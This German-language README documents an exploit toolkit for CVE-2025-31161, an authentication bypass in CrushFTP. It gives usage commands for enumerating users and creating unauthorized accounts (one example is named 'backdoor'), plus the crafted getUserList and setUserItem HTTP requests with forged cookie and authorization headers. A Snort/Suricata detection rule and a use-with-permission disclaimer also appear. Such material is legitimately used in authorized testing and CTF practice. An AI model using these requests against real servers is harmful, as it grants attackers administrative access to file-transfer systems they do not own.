
Mehrsprachiges Exploit-Toolkit für CVE-2025-31161, eine Authentifizierungsumgehung in CrushFTP. Ermöglicht Schwachstellenerkennung, Benutzeraufzählung und Erstellung nicht autorisierter Admin-Konten für autorisierte Sicherheitstests und CTF-Herausforderungen.
Ein umfassendes Toolkit zur Ausnutzung von CVE-2025-31161, einer Authentifizierungs-Bypass-Schwachstelle in CrushFTP, die das Erstellen nicht autorisierter Benutzerkonten ermöglicht.
CVE-2025-31161 ist eine kritische Authentifizierungs-Bypass-Schwachstelle in CrushFTP, die es Angreifern ermöglicht, ohne ordnungsgemäße Authentifizierung nicht autorisierte Benutzerkonten zu erstellen. Diese Schwachstelle existiert in der Benutzerverwaltungsfunktion der Weboberfläche.
-t, -p, -tuCrushFTP-auth-bypass-CVE-2025-31161/
├── README.md # Diese Dokumentation
├── cve-2025-31161.go # Go-Implementierung (empfohlen)
├── cve-2025-31161.sh # Bash-Implementierung
└── LICENSE # MIT-Lizenz
# Go installieren (falls nicht bereits geschehen)
sudo apt install golang-go
# oder
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
# Erfordert curl (normalerweise vorinstalliert)
sudo apt install curl
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh
# Grundlegende Verwendung mit Kurzform-Flags
go run cve-2025-31161.go -t example.com -lu
# Mit benutzerdefiniertem Port
go run cve-2025-31161.go -t example.com -p 8080 -lu
# Lange Form der Flags
go run cve-2025-31161.go --target_host example.com --port 8080 -lu
# Neuen Benutzer erstellen (fragt nach Benutzername/Passwort)
go run cve-2025-31161.go -t example.com -au
# Mit benutzerdefiniertem Zielbenutzer (Standard: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au
# Lange Form der Flags
go run cve-2025-31161.go --target_host example.com --target_user admin -au
# Grundlegende Verwendung
./cve-2025-31161.sh -t example.com -lu
# Mit benutzerdefiniertem Port
./cve-2025-31161.sh -t example.com -p 8080 -lu
# Neuen Benutzer erstellen
./cve-2025-31161.sh -t example.com -au
# Mit benutzerdefinierten Einstellungen
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au
# Beispiel 1: Benutzer auf Ziel auflisten
go run cve-2025-31161.go -t ftp.example.htb -lu
# Beispiel 2: Hintertürkonto erstellen
go run cve-2025-31161.go -t ftp.example.htb -au
# Dann eingeben: username: backdoor, password: P@ssw0rd123
# Beispiel 3: Nicht standardmäßiger Port mit Benutzerenumeration
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu
# Hilfe anzeigen
./cve-2025-31161.sh --help
flowchart TD
A[Start Exploit] --> B[Check Target Connectivity]
B --> C{Target Reachable?}
C -->|No| D[Exit: Connection Failed]
C -->|Yes| E[Send getUserList Request]
E --> F{Response Contains OK?}
F -->|No| G[Exit: Not Vulnerable]
F -->|Yes| H[Target is Vulnerable!]
H --> I{Mode Selected?}
I -->|List Users -lu| J[Parse XML Response]
J --> K[Display User List]
K --> L[Exit: Success]
I -->|Add User -au| M[Prompt for Username]
M --> N[Prompt for Password]
N --> O[Send Warm-up Request]
O --> P[Craft User Creation Payload]
P --> Q[Send setUserItem Request]
Q --> R{User Created Successfully?}
R -->|Yes| S[Success: Account Created]
R -->|No| T[Failed: Exploitation Failed]
style A fill:#e1f5fe
style H fill:#c8e6c9
style K fill:#81c784
style S fill:#4caf50
style D fill:#ffcdd2
style G fill:#ffcdd2
style T fill:#ffcdd2
Das Skript sendet zuerst eine getUserList-Anfrage, um zu überprüfen, ob das Ziel verwundbar ist:
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Wenn die Antwort <response_status>OK</response_status> enthält, ist das Ziel verwundbar.
Bei Verwendung des Flags -lu analysiert das Skript die XML-Antwort und extrahiert die Benutzernamen:
<user_list type="vector">
<user_list_subitem>ben</user_list_subitem>
<user_list_subitem>crushadmin</user_list_subitem>
<user_list_subitem>default</user_list_subitem>
</user_list>
Ausgabe:
[+] Users:
- ben
- crushadmin
- default
Bei Verwendung des Flags -au sendet das Skript eine setUserItem-Anfrage mit schädlicher XML-Nutzlast:
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded
command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If
Das Skript sucht in der Antwort nach <response_status>OK</response_status>, um die erfolgreiche Benutzererstellung zu bestätigen.
Die Schwachstelle resultiert aus unzureichenden Authentifizierungsprüfungen in der Benutzerverwaltungsfunktion der CrushFTP-Weboberfläche. Die Anwendung akzeptiert Anfragen zur Benutzererstellung, ohne die Berechtigungen des Aufrufers ordnungsgemäß zu validieren.
setUserItem-Anfragen in Webservern-Logs/webinterface/function/-Endpunkte blockieren# Snort/Suricata-Regelbeispiel
alert http any any -> any any (msg:"CrushFTP CVE-2025-31161 Exploit Attempt"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)
⚠️ WICHTIG: Dieses Tool wurde entwickelt für:
NICHT VERWENDEN auf Systemen ohne ausdrückliche schriftliche Genehmigung. Unbefugter Zugriff auf Computersysteme ist illegal und kann zu schwerwiegenden rechtlichen Konsequenzen führen.
Beiträge sind willkommen! Bitte:
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)| Version | Datum | Änderungen |
|---|---|---|
| 1.0.0 | 2025-01-XX | Erstveröffentlichung mit Go- und Bash-Implementierungen |
| 1.1.0 | 2025-01-XX | Interaktiver Modus und Schwachstellenerkennung |
Bei Fragen, Vorschlägen oder Sicherheitsbedenken öffnen Sie bitte ein Issue in diesem Repository.
| Flag | Lange Form | Beschreibung | Standard |
|---|
-t | --target_host | Ziel-Hostname oder IP (erforderlich) | - |
-p | --port | Ziel-Port | 80 |
-tu | --target_user | Zielbenutzer für den Exploit | crushadmin |
-lu | --list-users | Vorhandene Benutzer auflisten | - |
-au | --add-user | Neuen Benutzer hinzufügen (interaktiv) | - |
--help | Hilfemeldung anzeigen | - |
| 1.2.0 | 2025-10-02 | Benutzerenumeration hinzugefügt (-lu), separaten Benutzer hinzufügen-Modus (-au), Kurzform-Flags (-t, -p, -tu) |